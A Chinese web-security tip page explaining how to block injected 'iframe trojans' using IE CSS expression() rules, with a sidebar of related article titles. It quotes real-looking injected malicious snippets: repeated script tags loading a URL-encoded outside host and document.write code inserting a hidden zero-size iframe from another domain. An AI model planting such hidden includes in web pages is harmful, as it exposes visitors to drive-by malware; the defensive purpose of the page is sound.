|
| 以下是引用片段: <script src=http://%76%63%63%64%2E%63%6E></script> <script src=http://%76%63%63%64%2E%63%6E></script> <script src=http://%76%63%63%64%2E%63%6E></script> <script src=http://%76%63%63%64%2E%63%6E></script> <script src=http://%76%63%63%64%2E%63%6E></script> <script src=http://%76%63%63%64%2E%63%6E></script> <script src=http://%76%63%63%64%2E%63%6E></script> <script src=http://%76%63%63%64%2E%63%6E></script> |
| 以下是引用片段: document.write("<div style='display:none'>") document.write("<iframe src=http://a.158dm.com/b1.htm?id=017 width=0 height=0></iframe>") document.write("</div>") |
| 以下是引用片段: 解决方案1: iframe{n1ifm:expression(this.src='about:blank',this.outerHTML='');}/*这行代码是解决挂IFRAME木马的哦*/ 原理:将<script>标记的src拿出来转为小写,再看是不是以“http”开头的外域JS脚本文件,如果是,则页面内容清空并写出“木马被成功隔离!”。反之正常显示。script{nojs1:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');} 缺点:访客无法看到被感染了<script>木马的页面。 解决方案2: iframe{nifm2:expression(this.src='about:blank',this.outerHTML='');} 原理:将外域的JS文件的document.write()使用document.close()强制关闭。木马内容还没有来得及写完,只有部分被强制缓存输出了,剩下的不会再写了。script{no2js:expression((this.src.toLowerCase().indexOf('http')==0)?document.close():'');} 解决方案3: iframe{ni3fm:expression(this.src='about:blank',this.outerHTML='');} 原理:同到外域的JS文件,立即调用IE私有的execCommand方法来停止页面所有请求,所以接下来的外域JS文件也被强制停止下载了。就像我们点了浏览器的“停止”按钮一样。看来这是JS模拟IE停止按钮的一种方法。script{n3ojs:expression((this.src.toLowerCase().indexOf('http')==0)?document.execCommand('stop'):'');} 解决方案4: iframe{nif4m:expression(this.src='about:blank',this.outerHTML='');} 原理:将外域的JS文件的src重写成本地IE404错误页面的地址,这样,外域的JS代码不会下载。script{noj4s:expression(if(this.src.indexOf('http')==0)this.src='res://ieframe.dll/dnserror.htm');} 解决方案5: iframe{nifm5:expression(this.src='about:blank',this.outerHTML='');} 第五种方案的页面HTML源代码<script>中要加入以"lh"为前缀的id,如 lhWeatherJSapi,<script src="***/**.js" id="lhSearchJSapi"></script> script{noj5s:expression((this.id.toLowerCase().indexOf('lh')==0)?document.write('木马被成功隔离!'):''));} |
| 阻止Alert攻击代码 | 12-14 |
| Arp反欺骗策略 | 11-29 |
| 如何杜绝iframe挂马 | 11-29 |
| ARP欺骗解决终极办法(传说中的虚 | 11-06 |
| 打造抵御SQL注入攻击的MS SQL服务 | 10-23 |
| ASP木马Webshell安全解决方案 | 09-22 |
| ASP登陆验证页应做的安全问题 | 08-25 |
| 防黑主要是日常维护的5个步骤总结 | 08-25 |
| Windows Server2003安全配置整理 | 08-20 |
| 安全虚拟主机配置 | 07-18 |
| ASP木马Webshell的安全防范解决办 | 06-19 |
| CC DDOS攻击器的原理及防范方法 | 06-13 |